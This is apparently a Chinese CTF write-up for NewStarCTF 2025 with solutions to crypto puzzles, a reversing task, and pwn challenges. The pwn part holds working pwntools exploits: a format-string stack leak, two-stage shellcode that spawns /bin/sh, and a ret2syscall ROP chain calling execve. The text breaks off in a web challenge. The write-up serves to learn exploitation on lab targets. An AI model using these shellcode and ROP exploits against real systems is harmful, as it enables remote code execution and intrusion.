想通了,什么都要学、什么都要打。
misc 1.美妙的音乐
flag{thi5_1S_m1Di_5tEG0}
undo2.OSINT-威胁情报 https://www.virustotal.com/gui/file/2c796053053a571e9f913fd5bae3bb45e27a9f510eace944af4b331e802a4ba0/details
3.日志分析:不敬者的闯入
搜索shell,找到之后直接访问~[/admin/Webshell](http://127.0.0.1:3321/admin/Webshell)网页
即可找到flag
4.星期四的狂想
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php echo "Hello, world!" ; $flag = base64_encode (file_get_contents ("/flag" )); $hahahahahaha = '' ; foreach (str_split ($flag , 10 ) as $part ) { if (rand (0 , 1 )) { $part = strrev ($part ); } else { $part = str_rot13 ($part ); } $hahahahahaha .= $part ; } function code ($x ) { return "Cookie: " . base64_encode ($x ); } ?>
所以这里需要找到cookie
交给ai即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 import base64 import itertools import codecs def decrypt_cookie (cookie_value): "" " 解密Cookie中的flag 参数: cookie_value: 从Cookie中获取的Base64编码字符串 返回: 解密后的原始flag字符串,失败返回None " "" obfuscated_flag = base64.b64decode (cookie_value).decode ('utf-8' ) chunks = [obfuscated_flag[i:i+10 ] for i in range (0 , len (obfuscated_flag), 10 )] for combo in itertools.product ([True, False], repeat=len (chunks)): decoded_chunks = [] for i, chunk in enumerate (chunks): if combo[i]: decoded_chunks.append (chunk[::-1 ]) else : decoded_chunks.append (codecs.decode (chunk, 'rot13' )) final_string = '' .join (decoded_chunks) try : original_flag = base64.b64decode (final_string).decode ('utf-8' ) return original_flag except: continue return None if __name__ == "__main__" : cookie_value = "YOUR_COOKIE_VALUE_HERE" result = decrypt_cookie (cookie_value) print (result if result else "解密失败" )
密码学 1.置换
置换的介绍 在一个集合(例如 $ {1, 2, 3} $)中,置换 是一个将集合元素重新排列的函数。
例如:
$ \sigma(1) = 2, \quad \sigma(2) = 3, \quad \sigma(3) = 1 $
我们可以将这个置换表示为:
$ 1 \rightarrow 2 \rightarrow 3 \rightarrow 1 $
或者使用 轮换表示法 (cycle notation):
$ (1;2;3) $
如果想要组合两个置换 $ \sigma_1 $ 和 $ \sigma_2 $,可以写作:
$ \sigma_2 \circ \sigma_1(x) = \sigma_2(\sigma_1(x)) $
例子:
$ (1;3;2;5;4)(1;2;3;4;5) = (1;5;3) $
字母与数字的映射 将字母映射为数字:
$ A = 1, B = 2, \dots, Z = 26 $
我们定义一个置换 $ \mathrm{F} $,它是 两个简单 $ S_{26} $ 置换的复合 :
$ \mathrm{F} = (1;2;3;4;5;6;7)(8;9;10;11;12;13;14) \circ (1;3;5;7)(2;4;6)(8;10;12;14) $
加密操作 加密操作是将置换 $ \mathrm{F} $ 应用到消息上:
$ \mathrm{F}(\text{Message}) = \text{Ciphertext} $
例子:
$ (1;2;3)(4;5) \text{ applied to } B;C;A;E;D;F \quad \Rightarrow \quad C;A;B;D;E;F $
你的密文: SUFK_D_SJNPHA_PARNUTDTJOI_WJHH_GACJIJTAHY_IOT_STUNP_YOU.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 def decrypt_ciphertext(ciphertext): # 定义字母到数字的映射 letter_to_num = {chr(i): i - 64 for i in range(65, 91)} # A=1, B=2, ..., Z=26 # 定义 F^{-1} 映射(基于数字) f_inverse_map = { 1: 5, # A -> E 2: 7, # B -> G 3: 6, # C -> F 4: 1, # D -> A 5: 2, # E -> B 6: 3, # F -> C 7: 4, # G -> D 8: 12, # H -> L 9: 14, # I -> N 10: 9, # J -> I 11: 8, # K -> H 12: 11, # L -> K 13: 10, # M -> J 14: 13, # N -> M # 15-26 不变 } # 数字到字母的映射 num_to_letter = {num: chr(num + 64) for num in range(1, 27)} decrypted = [] for char in ciphertext: if char.isalpha(): # 大写字母处理 char_upper = char.upper() num = letter_to_num[char_upper] if num <= 14: # 应用 F^{-1} 映射 decrypted_num = f_inverse_map[num] decrypted_char = num_to_letter[decrypted_num] else: # 15-26 不变 decrypted_char = char decrypted.append(decrypted_char) else: # 非字母字符不变 decrypted.append(char) return ''.join(decrypted) # 测试解密 ciphertext = "SUFK_D_SJNPHA_PARNUTDTJOI_WJHH_GACJIJTAHY_IOT_STUNP_YOU." plaintext = decrypt_ciphertext(ciphertext) print("Ciphertext:", ciphertext) print("Decrypted:", plaintext)
SUCH_A_SIMPLE_PERMUTATION_WILL_DEFINITELY_NOT_STUMP_YOU.
2.RSA 参考:NewStarCTF2025 Crypto Week1&2 wp
1 2 3 4 5 6 7 8 9 10 11 12 13 # 这段脚本把 flag 拆成两半并分别加密 from Crypto.Util.number import * import random # 原始 flag flag = b'flag{???????????????????}' length = len(flag) # 把 flag 分成前后两半,分别转换为整数 m1, m2 m1 = bytes_to_long(flag[:length//2]) m2 = bytes_to_long(flag[length//2:])
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 # ------------------------- par1: 构造第1类模 n1 并加密 m ------------------------- def par1(m): lst = [] # 选取 3 个不同的大素数(每个 512 bit) while len(lst) < 3: prime = getPrime(512) if prime not in lst: lst.append(prime) print(prime) # n1 = ∏ p_i^{t_i},其中每个素因子 p_i 被随机提升到 2到7 的小幂 n1 = 1 for prime in lst: tmp = random.randint(2, 7) # 指数 tmp 在 2到7 之间 print(tmp) n1 *= prime ** tmp e = 65537 # 在模 n1 下对 m 做 RSA 加密 c1 = pow(m, e, n1) # 输出素因子列表、模 n1、密文 c1 print(f"list:{lst}") print(f"n1={n1}") print(f"c1={c1}")
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 # ------------------------- par2: 构造第2类模 n2 并加密 m,给出多个 hint ------------------------- def par2(m): # 随机选三个不同的大素数 p2,q2,r2(每个 512 bit),并把它们相乘得到 n2 while True: p2 = getPrime(512) q2 = getPrime(512) r2 = getPrime(512) if p2 != q2 and p2 != r2 and q2 != r2: break n2 = p2 * q2 * r2 hint1 = pow(m, p2 * q2, n2) hint2 = pow(m, r2, n2) # 怎么用好 hint1 和 hint2 呢?试一试 Fermat 吧! hint3 = p2 + q2 # hint3 很关键 —— 想想如果你知道 p+q 和 p*q,就能做什么? e = 65537 c2 = pow(m, e, n2) print(f"n2={n2}") print(f"hint1={hint1}") print(f"hint2={hint2}") print(f"hint3={hint3}") print(f"c2={c2}")
1 2 3 4 5 6 7 8 9 10 list:[8477643094111283590583082266686584577185935117516882965276775894970480047703089419434737653896662067140380478042001964249802246254766775288215827674566239, 7910991244809724334133464066916251012653855854025088993280923310153569870514093484293150987057836939645880428872351249598065661847436809250099607617398229, 12868663117540247120940164330605349884925779832327002530579867223566756253418944553917676755694242046142851695033487706750006566539584075228562544644953317] n1=1103351600126529748374237534378639752005563260397057273760573608668234841858898339963615180586483636658319719258259564340229731088477043006707066258091746453519875771328756343070392346553837475869985292233339882321767365588480914243055530194543710833400735694644740966837509139443272712871728933520755003149497543272631963356726446399042360341133139923381402765176034620742095462597690819317740258280338778466308360122325510768573457366480478480385099879072314101166576014811788437611871531848011762293407180575205681864374034973560073644731757180275405672624629974899658185645498677923049149478738083257882839079796420483489134608949730373829870700049152830490730902518823469250714236113622490232617166274965015245948264281265453208875232918994116540222173029738472689551464384951129495828658025526216028826258099588572669439254177489891457890498930044291769038333452721765661715836795838845421437984152253836745540547878024331492328801233425013069672422548913381714868180440419922587534373534388179645778998201569812711853469607955639409976100938326204393436455902117700715705355730254907473694496862186927081288536664564066273905636691443629865742113665395817897790346568115147261785693069547062993147965228097215778787698574672103567611954541526351385121096946876318405181900957517179318858167322380305506577864659070587276190351263272904670121000123739762817165611376508091511049581310489960967300251226150505529874043827860587179066433478573304632672443028389332137578559069790875583860034559992961597964011009181097461053565357444468759142467793785272517357594961007684369171923169825343428400994582000709315829746271356743493827706669902956302087422710335869361908872578360718630332916867987882367454381486160119341248986730614715669587555561672656107579415221691270769054441036888212622679174466809685017295395823904506545225068526453243179279430769878809345179954207934650512040934969514434321887565917951423932360150276928683390148666338790317001765138293050858448249492058987889761085236104153306884365020403974305552987123976314900738336243171779096705121428628914344115125836293982077268043357822313817090167616525512714228298048543723340688062975654817272989686281447834032081689520522343318726816659742944874587243087717935463623631288732784108299093601104113561688659145661286269339180833210463 c1=1091994761217634826072124019708574984391652131019528859451478177360336520455071879664626056517127684886792263267184750289726966173475531785135908239241367011964947254146686336678625127107000203921535502636024125382397949549706019108806905113568387688784083651867765356465676713044867529224095280990952281722377729904633765755308727317586804384907594623294542255582608130775388385053656500091188492219892541287152759373311871679053567569991598739628072091647402994694057021522875429987401797108991466209720726320411739418901734326490258573985380323870664455719118307333460877640654186421881374126846465164012283741829305792336376443671697322944983680753186871994926812712407530175535547953488409667363778877011722921746615125168842335755090712330314248078688305813574126414154357295682111730319771541764882123530538798904329448342477283010679916534388272354852606444335501019923314748714020060783702757991765107811664795881473290112012642711848840732656792842975595985262637352884148989392358729413049666423809444629233355604344713121576947744271550672311509709353155584615401385981281541568915650140285513857950097872392262841978506457072907666348887936981254691271750737368646952613446340505887570613771043863966115924851279285010321193299940403084752305457659188900451883509679442577291500194294702408740417770241347854055121038455584689346661759142226424655750649030196509606345959868857460928822458178193914427975718432613693148519385509070885413086890691471063639321214058351800789483569828355240522324245612035847073723555128381268497293297681153943700076717509367055194706714770699658667364019792069384855913700111098207862666478388154325649690787295929427544059466206456378068191323286585251490682952650730101051661446454500997013269750318207079005140046631065420740924251847948208391204635801689730778074655515676216581230345037704163062457051532737078339281175699645868527505281984564077081473213204937490995858702477009964928872064904754834804222961572810639265783286770899262602346777948115933216112376126550352514674411338374863486761612733848198090788549337632188615953986569772932102409611086086895003705261003974939487286850347660140334361903821934552381535024019082394626749532280515222512480387681995937963724398131252527927016338174692268363933916957519992512787514236065140642709723084266949 n2=1069018081462192233874980694931144545150390355151142000407896565228521856087497130221328822828336193888433906258622424173888905902703892967253752403237818439004204769185744957222426788163474091322195131517000927031632213563726678357776820914860304114493023487392954636569155416533134778017635963554249754152905136768251720862406591818283210776943594065154793598910172412634428403766286774221252340847853800584819732893065160890727141088203583945705491817754798199 hint1=495128350277196206878301144662871873237030348510695923954264742873861239639964327065778936381957512315649691671343380037835210964239285388639258116089512827565613815144843995253866231195560373946746849139176701974882655518646303907103018798645711804858249793838527221003421990186067508970406658504653011309012705975088331579176215562874130854040538446696646570783420605205142219423250083326857924937357413604293802370900521919578742651150371880416910794941782372 hint2=30328561797365977072611520167046226865857127358764834983211668172910299946455309984910564878419440651867811045905957544019080032899770755776597512870488988655573901143704158135658656276142062054235425241921334990614594054774876139797881802290465401101513930547809082303438739954539239681192173563314964619128522116071538744700209974655230351192503911493028021717763873423132332205605117704777006410273001461242351682504368760936763922017247768057874236213463076 hint3=20884722618082876001516601155402590958389763080024067634953470674302186115943562475648388511118550021010685094074280890845364756164094187193286427464829840 c2=548415661734126053738347374438337003873176731288953351164055019598761821990636552806558989407452529293973596759395078164177029251755832478675308995116633955485067347066419466003081030015784908106772410713523387155248930421498438336128348929737424937920603679054765413736671822930257854740643178209639013528748572597042833138551717910328899462934527011212318128877188460373648545379405946354668400634037669394938860103705689139981117990256660685216959315741336968
解法如下:
p1:没啥好说的,2-7遍历除回去就行了
p2:
$ n=pq r $
$ hint_1 ≡ m^{p*q}\mod \ n_2(以下我简称为n) $
$ hint_2 ≡ m^{r}\mod \ n $
$ hint_3 ≡ p*q $
$ c_2(以下我简称为c)=m^e\ mod \ n_2 $
根据费马小定理:
$ hint_1 ≡ m^{p*q}≡m\mod \ n $
$ hint_2 ≡ m^{r}≡m\mod \ n $→$ hint_2^e ≡ m^{e}\mod \ n $
又因为
$ c ≡ m^{e}\mod \ n $→$ hint_2^e ≡ m^{e}\mod \ r $
所以
$ hint_2^e ≡ c\mod \ r $
即
$ r是hint_2^e-c的一个因子 $
因为
$ n只有三个大素数因子(其中一个因子为r) $
所以
$ r=gcd(hint_2^e-c,n) $
得解。
以下是代码实现
part1(遍历循环即可)
1 2 3 4 5 6 7 8 9 for num in list : for i in range (8 ,2 ,-1 ): if n1 % num**i == 0 : print (i) break
所以part1的解密算法是
1 2 3 4 phin1=(list [0 ]3 -list [0 ]2 )*(list [1 ]5 -list [1 ]4 )*(list [2 ]7 -list [2 ]6 ) d1=pow (e,-1 ,phin1) m=pow (c1,d1,n1) print (long_to_bytes(m))
part2
1 2 3 4 5 6 7 r2=math.gcd(hint2**e-c2,n2) print (r2)a2=n2//r2 phin2=(r2-1 )*(a2-(hint3)+1 ) d2=pow (e,-1 ,phin2) m2=pow (c2,d2,n2) print (long_to_bytes(m2))
拼一下即可.flag{Ooooo6_y0u_kn0w_F3rm@t_and_Eu13r_v3ry_w3ll!!}
3.DLP_1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from Crypto.Util.number import * from math import prod from sympy.ntheory.modular import crt from math import isqrt def prime_factors(n):# 一个工具函数,用于简单试除分解 res, d = [], 2 while d * d <= n: while n % d == 0: res.append(d) n //= d d += 1 if d == 2 else 2 if n > 1: res.append(n) return res def find_primitive_root(p):# 找模 p 的原根,什么是原根呢?去学习一下叭 phi = p - 1 facs = set(prime_factors(phi))#这里用到了工具函数 for g in range(2, p): if all(pow(g, phi // q, p) != 1 for q in facs): return g flag=b'flag{??????????????????}'# assert len(flag)==24 inner = flag[5:-1] # 去掉 "flag{" 和 "}" n = len(inner) // 3 # 每段长度 parts = [inner[i*n:(i+1)*n] for i in range(3)] p=[] g=[] h=[] for i in range(0,3): p.append(getPrime(48)) g.append(find_primitive_root(p[i])) x=bytes_to_long(parts[i]) h.append(pow(g[i],x,p[i])) print(p) print(g) print(h) """ p=[189869646048037, 255751809593851, 216690843046819] g=[5, 3, 3] h=[78860859934701, 89478248978180, 81479747246082] """
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from Cryptodome.Util.number import * from math import prod from sympy.ntheory.modular import crt from math import isqrt def prime_factors(n): res, d = [], 2 while d * d <= n: while n % d == 0: res.append(d) n //= d d += 1 if d == 2 else 2 if n > 1: res.append(n) return res def bsgs(base, target, p, order): m = isqrt(order) + 1 baby_steps = {} x = 1 for j in range(m): baby_steps[x] = j x = (x * base) % p giant_step = pow(base, -m, p) current = target for i in range(m): if current in baby_steps: j = baby_steps[current] ak = i * m + j if ak < order: return ak current = (current * giant_step) % p return None def pohlig_hellman(g, h, p): n = p - 1 factors_list = prime_factors(n) fac_exp = {} for q in factors_list: fac_exp[q] = fac_exp.get(q, 0) + 1 moduli = [] remainders = [] for q, exp in fac_exp.items(): m_i = q exp g_i_bar = pow(g, n // m_i, p) h_i_bar = pow(h, n // m_i, p) gamma = pow(g_i_bar, m_i // q, p) x_i_bar = 0 base = 1 for k in range(exp): exponent = m_i // (q (k + 1)) d = pow(h_i_bar * pow(g_i_bar, -x_i_bar, p), exponent, p) if q <= 1000000: ak_found = None for ak in range(q): if pow(gamma, ak, p) == d: ak_found = ak break if ak_found is None: raise ValueError("No solution found") else: ak_found = bsgs(gamma, d, p, q) x_i_bar = (x_i_bar + ak_found * base) % (q ** exp) base *= q moduli.append(m_i) remainders.append(x_i_bar) x, M = crt(moduli, remainders) return x p_list = [189869646048037, 255751809593851, 216690843046819] g_list = [5, 3, 3] h_list = [78860859934701, 89478248978180, 81479747246082] parts_bytes = [] for i in range(3): x_i = pohlig_hellman(g_list[i], h_list[i], p_list[i]) part = long_to_bytes(x_i) if len(part) < 6: part = b'\x00' * (6 - len(part)) + part parts_bytes.append(part) inner = b''.join(parts_bytes) flag = b'flag{' + inner + b'}' print(flag.decode())
4.FHE: 0 and 1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import uuid import random from Crypto.Util.number import getPrime flag = "flag{" + str(uuid.uuid4()) + "}" # 生成随机 flag binary_flag = "" # 存储 flag 对应的二进制字符串 # 将每个字符转换为 8 位二进制 for ch in flag: # ord(ch) 得到字符的 ASCII 值 # bin(...) 得到二进制字符串,去掉 '0b' 前缀并补齐 8 位 binary_flag += bin(ord(ch))[2:].zfill(8) p = getPrime(128) # 生成大素数 p # ------------------------------- # 加密逻辑 # ------------------------------- ciphertext = [] # 存储加密后的每一位 public_keys = [] # 存储每一位对应的 public key for bit in binary_flag: # 随机生成一个大整数作为公钥 rand_multiplier = random.randint(p // 4, p // 2) rand_offset = random.randint(1, 10) pk_i = p * rand_multiplier + rand_offset public_keys.append(pk_i) # 加密:bit + 一个小随机数 + p 的倍数 small_noise = 2 * random.randint(1, p // 2**64) large_noise = p * random.randint(p // 4, p // 2) c_i = int(bit) + small_noise + large_noise ciphertext.append(c_i) # ------------------------------- # 保存公钥和密文到文件 # ------------------------------- with open("pk.txt", "w") as f: f.write(str(public_keys)) with open("c.txt", "w") as f: f.write(str(ciphertext))
pk和c的内容太长了,就不放了
加密逻辑:
随机生成一个flag,
pwn 1.刻在栈里的秘密 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 a1gorithms@A1gorithm:/mnt/hgfs/E/CTF/比赛/NewStar2025/pwn$ nc 8.147 .132 .32 13440 现在有一个密码隐藏在栈上(•̀ᴗ• ) 你需要做的是通过格式化字符串来泄露这个密码o(´^`)o!m, 告诉我密码我就给你flag 哦,对了对了,你还要告诉我指向这个密码的地址 在此之前, 你可以了解一下各个格式化字符串的用法, 例如 %p, %s, %d, 以及 $ 符号. emmm...还有 x86-64 函数调用约定! 指向密码的指针被存放在了 0x7ffeb39a8170 中, 同时栈顶指针是 0x7ffeb39a80f0 . 他们之间的距离是:也就是说, 在printf之前, 格式字符串的参数看起来就像 ( *・ω・) 0x7ffeb39a8170 : [?] <-- 密码在这里捏0x7ffeb39a8168 : [?]0x7ffeb39a8160 : [?]0x7ffeb39a8158 : [?]0x7ffeb39a8150 : [?]0x7ffeb39a8148 : [?]0x7ffeb39a8140 : [?]0x7ffeb39a8138 : [?]0x7ffeb39a8130 : [?]0x7ffeb39a8128 : [?]0x7ffeb39a8120 : [?]0x7ffeb39a8118 : [?]0x7ffeb39a8110 : [?]0x7ffeb39a8108 : [?]0x7ffeb39a8100 : [?]0x7ffeb39a80f8 : [?]0x7ffeb39a80f0 : [?]0x7ffeb39a80e8 : [?]0x7ffeb39a80e0 : [?] <-- 栈顶在这里捏R9: [?] R8: [?] RCX: [?] RDX: [?] RSI: [?] RDI: [格式化字符串] 现在给你两次输入的机会, 补要输入太长的数据哦. 接着我会使用printf, 用你的输入作为printf的参数. 看起来就像 printf(your_input), 实际上这样是很危险的, 好孩子不要模仿^^. 来吧让我看看你的输入 %17 $p.%18 $p.%19 $p.%20 $p.%21 $p.%22 $p.%23 $p.%24 $p.%25 $p.%26 $p.%27 $p.%28 $p printf第 1 次启动! (nil).(nil).(nil).(nil).(nil).(nil).(nil).0 x7ffeb39a8120.(nil).(nil).(nil).0 x480000000f 再来一次 ! %24 $s printf第 2 次启动! SCDMMKOHASAKGNH 现在来验证一下密码吧 ( ⁼̴̀ .̫ ⁼̴ )✧!输入你的密码: SCDMMKOHASAKGNH 现在来验证一下密码的指针吧 ( ⁼̴̀ .̫ ⁼̴ )✧!输入你的密码: 给我输入一个类似 0x114514 的 16 进制数! 0x7ffeb39a8120 好棒 ̋(๑˃́ꇴ˂̀๑) 给你flag flag{7b4bdf44-d24a-4239 -acca-5c98498e3374}
说白了就是找栈上面那里有值,打印即可
考点:shellcode
1 2 3 4 5 6 7 8 9 10 11 12 int __fastcall main(int argc, const char argv, const char envp){ void *buf; // [rsp+8h] [rbp-8h] init(argc, argv, envp); buf = mmap((void *)0x114514 , 0x1000uLL, 7 , 34 , -1 , 0LL); puts("please input a small function (also after compile)" ); read(0 , buf, 0x14uLL); clear(); ((void (*)(void))buf)(); return 0 ; }
mmap mmap (Memory Map)是一个强大的系统调用,用于将文件或设备映射到内存中,或者创建匿名内存映射区域。
1 void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
addr : 建议映射的起始地址(通常设为 NULL ,让内核自动选择)。 length : 要映射的字节数。 prot : 内存保护标志(位掩码): PROT_READ :可读、 PROT_WRITE :可写、 PROT_EXEC :可执行、 PROT_NONE :不可访问 MAP_SHARED :修改会写回文件/共享给其他映射同一区域的进程。 MAP_PRIVATE :修改只对本进程可见(写时复制)。 MAP_ANONYMOUS / MAP_ANON :创建匿名映射(不关联文件, fd 通常设为 -1)。 MAP_FIXED :强制使用指定的 addr (不推荐)。 其他标志(如 MAP_LOCKED , MAP_POPULATE 等)。 fd : 要映射的文件的文件描述符(匿名映射时设为 -1)。 offset : 文件中的起始偏移量(通常为 0)。
只读20字节是没办法写shellcode的,所以需要写两个shellcode,第一段再次调用read函数(这里调用的read函数可以在后面当做是函数运行),第二段执行`/bin/sh`
1 2 3 4 5 6 xor eax, eax ; rax=0 (read系统调用号)xor edi, edi ; rdi=0 (标准输入)lea rsi, [rip+0x9 ] ; rsi=0x114528 (缓冲区地址) mov edx, 0x100 ; rdx=0x100 (读取长度) syscall ; 调用read jmp rsi ; 跳转到第二阶段shellcode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *context(arch='amd64' , os='linux' ) p = remote('192.168.100.1' , 38419 )\ stage1 = asm(''' xor eax, eax xor edi, edi lea rsi, [rip+0x9] mov edx, 0x100 syscall jmp rsi ''' )if len (stage1) != 20 : print (f"Stage1 length error: {len (stage1)} bytes" ) exit(1 ) stage2 = asm(shellcraft.amd64.linux.sh()) p.recvuntil(b"please input a small function (also after compile)\n" ) p.send(stage1) p.send(stage2) p.interactive()
3. syscall 考点:ret2syscall
参考:PWN入门(三)——ret2text /ret2syscall /ret2shellcode-CSDN博客
相关知识点——ret2syscall ret2syscall ret2syscall核心思想是通过控制程序执行系统调用,达到获取shell的目的。
系统调用(system call),指运行在用户空间的程序向操作系统内核请求需要更高权限运行的服务。 操作系统的进程空间可分为用户空间和内核空间,它们需要 不同的 执行权限。其中系统调用运行在内核空间。
应用程序调用系统调用的过程是: 1、把系统调用的编号存入 EAX; 1、把函数参数存入其它通用 寄存器 ; 3、触发中断。
一般 ret2syscall 中都是通过调用 execve 获取 shell
调用execve就相当于调用system,因为system函数在libc库中是通过调用execve来实现的。
gadgets :以 ret 结尾的指令序列,利用程序中的 gadgets 控制寄存器的读写来进行系统调用,实现 execve("/bin/sh",NULL,NULL) 系统调用,获取最高权限。
x86和x64下的中断命令和寄存器是不同的,系统调用号也是不同的。
中断:x86:int 80 x64:syscall 寄存器:x86:eax x64:rax
linux 下查看系统调用号:
x86:cat /usr/include/asm/unistd_32.h x64:cat /usr/include/asm/unistd_64.h
攻击过程 x86
Linux的32位系统的中断通过int 0x80实现。
调用系统调用的过程是:1.把系统调用的编号存入eax
2.第一个参数放入ebx
3.第二个参数放入ecx
4.第三个参数放入edx
5.触发int 0x80号中断
调用execve:
eax存放系统调用号 ebx存放/bin/sh地址 ecx置0 edx置0
之后通过将eip指向int 0x80的地址触发中断。
所以我们要找到pop eax指令的地址和pop ebx、pop ecx、pop edx的地址。最后找到一个ret将eip指向int 0x80。
利用ROPgadget搜索相应的gadget的地址。
1 2 3 4 5 6 7 8 int __cdecl main(int argc, const char argv, const char envp){ init(&argc); _libc_write(1 , "welcome to newstarctf2025 week2!\n" , 33 ); _libc_write(1 , "pwn it guys!\n" , 13 ); func(); return 0 ; }
1 2 3 4 5 6 int func(){ _BYTE v1[14 ]; // [esp+6h] [ebp-12h] BYREF return _libc_read(0 , v1, 100 ); }
栈溢出
静态链接
这个时候我们需要构造对应的payload
ROPgadget --binary syscall --only "pop|ret" | grep 'eax'
0x080b438a : pop eax ; ret
同理:
0x08049022 : pop ebx ; ret
0x0804985a : pop ecx ; ret
0x0804985c : pop edx ; ret
ROPgadget –binary ./syscall –string “/bin/sh”
ROPgadget –binary syscall –only “int”
0x08073a00 : int 0x80
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *context(arch="i386" , os="linux" , log_level="debug" ) elf = ELF(r"E:\CTF\比赛\NewStar2025\pwn\syscall\syscall" ) io = remote("127.0.0.1" , 41290 ) offset = 22 pop_eax = 0x080b438a pop_ebx = 0x08049022 pop_ecx = 0x0804985a pop_edx = 0x0804985c int_0x80 = 0x08073a00 bss_addr = elf.bss() payload = flat( b"A" * offset, pop_eax, 0x3 , pop_ebx, 0x0 , pop_ecx, bss_addr, pop_edx, 0x20 , int_0x80, pop_eax, 0xb , pop_ebx, bss_addr, pop_ecx, 0x0 , pop_edx, 0x0 , int_0x80, ) io.sendlineafter(b"pwn it guys!\n" , payload) io.sendline(b"/bin/sh\x00" ) io.interactive()
bss段是一个可以写的区域,用来存放未初始化的全局变量和静态变量 , 它是攻击者用来存放输入数据或注入代码的一个常用地方。
reverse 1.尤皮·埃克斯历险记(1) upx脱壳
反编译
也就是说这个密文序列是由两段生成的,一种办法是可以把前一段和后一段手动相加;另一种办法是动调(纯粹懒):
为啥这玩意需要先输入才有,为了过长度检测,所以一开始的长度检测这里选输入一个‘a’*34.
跟进isfhGJ_tt_cU_ny_nuTjcj_tT_cj
1 cipher=[0x69 , 0x73 , 0x66 , 0x68 , 0x47 , 0x4a , 0x9 , 0x74 , 0x7e , 0x63 , 0x55 , 0xa , 0x79 , 0xa , 0x75 , 0x54 , 0x6a , 0x63 , 0x6a , 0x9 , 0x54 , 0x7e , 0x63 , 0x6a , 0x51 , 0x64 , 0x75 , 0x7e , 0x77 , 0x7b , 0x4 , 0x5 , 0x71 , 0x41 ]
encrypt函数
就是数字大小写互换,解密时候换回去就可。
往下走能看到是和60异或
所以反过来解密:先异或、再互换。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 cipher=[0x69 , 0x73 , 0x66 , 0x68 , 0x47 , 0x4a , 0x9 , 0x74 , 0x7e , 0x63 , 0x55 , 0xa , 0x79 , 0xa , 0x75 , 0x54 , 0x6a , 0x63 , 0x6a , 0x9 , 0x54 , 0x7e , 0x63 , 0x6a , 0x51 , 0x64 , 0x75 , 0x7e , 0x77 , 0x7b , 0x4 , 0x5 , 0x71 , 0x41 ] def encrypt (data: bytes ) -> bytes : """ Args: data: 输入的字节数据(bytes类型) Returns: 加密/解密后的字节数据 """ result = bytearray () for byte_val in data: if 48 <= byte_val <= 57 : result.append((105 - byte_val) & 0xFF ) elif (65 <= byte_val <= 90 ) or (97 <= byte_val <= 122 ): result.append((-69 - byte_val) & 0xFF ) else : result.append(byte_val) return bytes (result) xorresult=bytes ([b^0x3C for b in cipher]) plain=encrypt(bytes (xorresult)) print (plain)print (plain.decode('ascii' ))
web 1.搞点哦润吉吃吃🍊 登进去之后F12
亏我还爆了半天..
进入界面之后能看到如下的的提示:(手算不显示)
所以这里用脚本,先观察一下开始挑战和提交验证的post结构:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 POST /start_challenge HTTP/1.1 Host: 127.0 .0 .1 :55488 Accept-Language: zh-CN,zh;q=0.9 sec-ch-ua-platform: "Windows" Accept: */* User-Agent: Mozilla/5.0 (Windows NT 10.0 ; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0 .0 .0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Cookie: session=eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiRG9ybyJ9.aS0v3g.Cn4WYklis7LqamvdvHqhnye_fDk Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0 .0 .1 :55488 /home sec-ch-ua: "Chromium" ;v="142" , "Google Chrome" ;v="142" , "Not_A Brand" ;v="99" Content-Type : application/json sec-ch-ua-mobile: ?0 Origin: http://127.0 .0 .1 :55488 Content-Length: 01
